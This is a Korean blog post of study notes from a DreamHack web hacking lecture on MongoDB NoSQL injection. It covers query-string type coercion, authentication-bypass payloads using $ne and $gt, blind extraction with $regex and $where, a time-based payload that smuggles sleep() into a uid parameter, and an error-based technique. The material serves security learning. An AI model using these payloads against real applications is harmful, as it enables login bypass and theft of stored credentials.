[Web Hacking] DH ServerSide: NoSQL Injection

KyungH·2024년 3월 7일

DH Lecture - Web Hacking

목록 보기
11/17
post-thumbnail

DH Web Hacking

📝ServerSide: NoSQL Injection


📌NoSQL Injection

NoSQL Injection은 SQL Injection과 공격 목적 및 방법이 매우 유사하다.
두 공격 모두 이용자의 입력값이 쿼리에 포함되면서 발생하는 문제점이며, MongoDB의 NoSQL Injection 취약점은 주로 이용자의 입력값에 대한 타입 검증이 불충분할 때 발생한다.

MongoDB는 오브젝트, 배열 타입 자료형을 사용할 수 있다. 오브젝트 타입의 입력값을 처리할 때에는 쿼리 연산자를 사용할 수 있으며, 이를 통해 다양한 행위가 가능해진다.

오브젝트, 배열 타입의 다양한 사용

http://localhost:3000/?data=1234
data: 1234
type: string

http://localhost:3000/?data[]=1234
data: [ '1234' ]
type: object

http://localhost:3000/?data[]=1234&data[]=5678
data: [ '1234', '5678' ] 
type: object

http://localhost:3000/?data[5678]=1234
data: { '5678': '1234' } 
type: object

http://localhost:3000/?data[5678]=1234&data=0000
data: { '5678': '1234', '0000': true } 
type: object

http://localhost:3000/?data[5678]=1234&data[]=0000
data: { '0': '0000', '5678': '1234' } 
type: object

http://localhost:3000/?data[5678]=1234&data[1111]=0000
data: { '1111': '0000', '5678': '1234' } 
type: object

Boolean-based

가장 대표적인 공격으로는 MongoDB의 $ne, $gt 등을 이용하여 참/거짓을 유도하는 방법이다.

{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}

username이 null이 아니거나, password가 null이 아닌 경우로 MongoDB로 전달되고, MongoDB는 데이터 내 두 조건을 만족하는지 체크하고 통과시키므로, 로그인에 성공하게 된다.


📌Blind NoSQL Injection

인증 우회에도 데이터베이스의 정보를 직접 알아내기 위해서는 Blind NoSQL Injection 공격을 시도할 수 있다. Blind SQL Injection 공격과 같이 참/거짓 결과를 통해 데이터베이스 정보를 알아낼 수 있다.

MongoDB에서는 $regex, $where 연산자를 사용하여 공격을 수행할 수 있다. $regex는 쿼리 언어 내에서 집계 식을 사용할 수 있으며, $where은 JavaScript를 사용하여 작성한 함수 전체를 쿼리에 전달할 수 있는 연산자이다.

$regex

정규식을 사용하여 식과 일치하는 데이터를 조회한다.

> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

$where

인자로 전달한 JavaScript 표현식을 만족하는 데이터를 조회한다.

해당 연산자는 field에서 사용할 수 없다.

> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({uid:{$where:"return 1==1"}})
error: {
	"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
	"code" : 17287
}

substring 연산자로 JavaScript 표현식을 입력하면, 한 글자씩 비교했던 것과 같이 데이터를 알아낼 수 있다.

> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

Time-based

sleep() 구문같이 딜레이를 지원하는 NoSQL의 경우, 이러한 구문을 이용하여 Response가 도착하는 시간을 계산하여 Blind로 진행할 수도 있다. 한 글자씩 비교하면서 해당 표현식이 참을 반환할 때 sleep함수를 실행한다.

db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});

/*
uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/

Error-based

에러를 기반으로 데이터를 알아내는 기법으로, 올바르지 않은 문법을 입력하여 고의로 에러를 발생시킨다.

db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
	"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
	"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생

References

DreamHack 강의 - ServerSide: NoSQL Injection

0개의 댓글